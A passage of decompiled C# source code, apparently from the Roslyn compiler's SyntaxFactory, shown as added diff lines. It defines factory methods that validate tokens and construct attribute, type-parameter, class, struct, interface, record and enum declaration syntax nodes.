Microsoft.CodeAnalysis.CSharp.Syntax.AttributeTargetSpecifierSyntax AttributeTargetSpecifier(SyntaxToken identifier, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AttributeTargetSpecifierSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AttributeTargetSpecifier((SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeTargetSpecifierSyntax AttributeTargetSpecifier(SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return AttributeTargetSpecifier(identifier, Token(SyntaxKind.ColonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax Attribute(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentListSyntax? argumentList) + { + if (name == null) + { + throw new ArgumentNullException("name"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Attribute((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameSyntax)(object)((SyntaxNode)name).Green, (argumentList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeArgumentListSyntax)(object)((SyntaxNode)argumentList).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax Attribute(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name) + { + return Attribute(name, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentListSyntax AttributeArgumentList(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AttributeArgumentList((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(arguments.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentListSyntax AttributeArgumentList(SeparatedSyntaxList arguments = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return AttributeArgumentList(Token(SyntaxKind.OpenParenToken), arguments, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentSyntax AttributeArgument(Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax? nameEquals, Microsoft.CodeAnalysis.CSharp.Syntax.NameColonSyntax? nameColon, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AttributeArgument((nameEquals == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameEqualsSyntax)(object)((SyntaxNode)nameEquals).Green), (nameColon == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameColonSyntax)(object)((SyntaxNode)nameColon).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentSyntax AttributeArgument(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + return AttributeArgument(null, null, expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax NameEquals(Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax name, SyntaxToken equalsToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (equalsToken.Kind() != SyntaxKind.EqualsToken) + { + throw new ArgumentException("equalsToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.NameEquals((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IdentifierNameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref equalsToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax NameEquals(Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax name) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return NameEquals(name, Token(SyntaxKind.EqualsToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax NameEquals(string name) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return NameEquals(IdentifierName(name), Token(SyntaxKind.EqualsToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax TypeParameterList(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken.Kind() != SyntaxKind.LessThanToken) + { + throw new ArgumentException("lessThanToken"); + } + if (greaterThanToken.Kind() != SyntaxKind.GreaterThanToken) + { + throw new ArgumentException("greaterThanToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TypeParameterList((SyntaxToken)(object)((SyntaxToken)(ref lessThanToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(parameters.Node), (SyntaxToken)(object)((SyntaxToken)(ref greaterThanToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax TypeParameterList(SeparatedSyntaxList parameters = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return TypeParameterList(Token(SyntaxKind.LessThanToken), parameters, Token(SyntaxKind.GreaterThanToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterSyntax TypeParameter(SyntaxList attributeLists, SyntaxToken varianceKeyword, SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = varianceKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind - 8361 > SyntaxKind.List) + { + throw new ArgumentException("varianceKeyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TypeParameter(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref varianceKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterSyntax TypeParameter(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return TypeParameter(default(SyntaxList), default(SyntaxToken), identifier); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterSyntax TypeParameter(string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return TypeParameter(default(SyntaxList), default(SyntaxToken), Identifier(identifier)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax ClassDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.ClassKeyword) + { + throw new ArgumentException("keyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + SyntaxKind syntaxKind = openBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + syntaxKind = closeBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ClassDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (typeParameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterListSyntax)(object)((SyntaxNode)typeParameterList).Green), (parameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green), (baseList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseListSyntax)(object)((SyntaxNode)baseList).Green), GreenNodeExtensions.ToGreenList(constraintClauses.Node), (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenList(members.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax StructDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.StructKeyword) + { + throw new ArgumentException("keyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + SyntaxKind syntaxKind = openBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + syntaxKind = closeBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.StructDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (typeParameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterListSyntax)(object)((SyntaxNode)typeParameterList).Green), (parameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green), (baseList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseListSyntax)(object)((SyntaxNode)baseList).Green), GreenNodeExtensions.ToGreenList(constraintClauses.Node), (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenList(members.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterfaceDeclarationSyntax InterfaceDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.InterfaceKeyword) + { + throw new ArgumentException("keyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + SyntaxKind syntaxKind = openBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + syntaxKind = closeBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.InterfaceDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.InterfaceDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (typeParameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterListSyntax)(object)((SyntaxNode)typeParameterList).Green), (parameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green), (baseList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseListSyntax)(object)((SyntaxNode)baseList).Green), GreenNodeExtensions.ToGreenList(constraintClauses.Node), (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenList(members.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax RecordDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken classOrStructKeyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + if (kind != SyntaxKind.RecordDeclaration && kind != SyntaxKind.RecordStructDeclaration) + { + throw new ArgumentException("kind"); + } + SyntaxKind syntaxKind = classOrStructKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind - 8374 > SyntaxKind.List) + { + throw new ArgumentException("classOrStructKeyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + syntaxKind = openBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + syntaxKind = closeBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.RecordDeclaration(kind, GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref classOrStructKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (typeParameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterListSyntax)(object)((SyntaxNode)typeParameterList).Green), (parameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green), (baseList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseListSyntax)(object)((SyntaxNode)baseList).Green), GreenNodeExtensions.ToGreenList(constraintClauses.Node), (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenList(members.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax RecordDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxList members) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return RecordDeclaration(kind, attributeLists, modifiers, keyword, default(SyntaxToken), identifier, typeParameterList, parameterList, baseList, constraintClauses, default(SyntaxToken), members, default(SyntaxToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax RecordDeclaration(SyntaxKind kind, SyntaxToken keyword, SyntaxToken identifier) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + return RecordDeclaration(kind, default(SyntaxList), default(SyntaxTokenList), keyword, default(SyntaxToken), identifier, null, null, null, default(SyntaxList), default(SyntaxToken), default(SyntaxList), default(SyntaxToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax RecordDeclaration(SyntaxKind kind, SyntaxToken keyword, string identifier) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + return RecordDeclaration(kind, default(SyntaxList), default(SyntaxTokenList), keyword, default(SyntaxToken), Identifier(identifier), null, null, null, default(SyntaxList), default(SyntaxToken), default(SyntaxList), default(SyntaxToken), default(SyntaxToken)); + } + + private static SyntaxKind GetRecordDeclarationClassOrStructKeywordKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.RecordDeclaration => SyntaxKind.ClassKeyword, + SyntaxKind.RecordStructDeclaration => SyntaxKind.StructKeyword, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EnumDeclarationSyntax EnumDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken enumKeyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxToken openBraceToken, SeparatedSyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + if (enumKeyword.Kind() != SyntaxKind.EnumKeyword) + { + throw new ArgumentException("enumKeyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + SyntaxKind syntaxKind = openBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + syntaxKind = closeBraceToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.EnumDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EnumDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref enumKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (baseList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseListSyntax)(object)((SyntaxNode)baseList).Green), (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(members.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax DelegateDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken delegateKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxList constraintClauses, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: 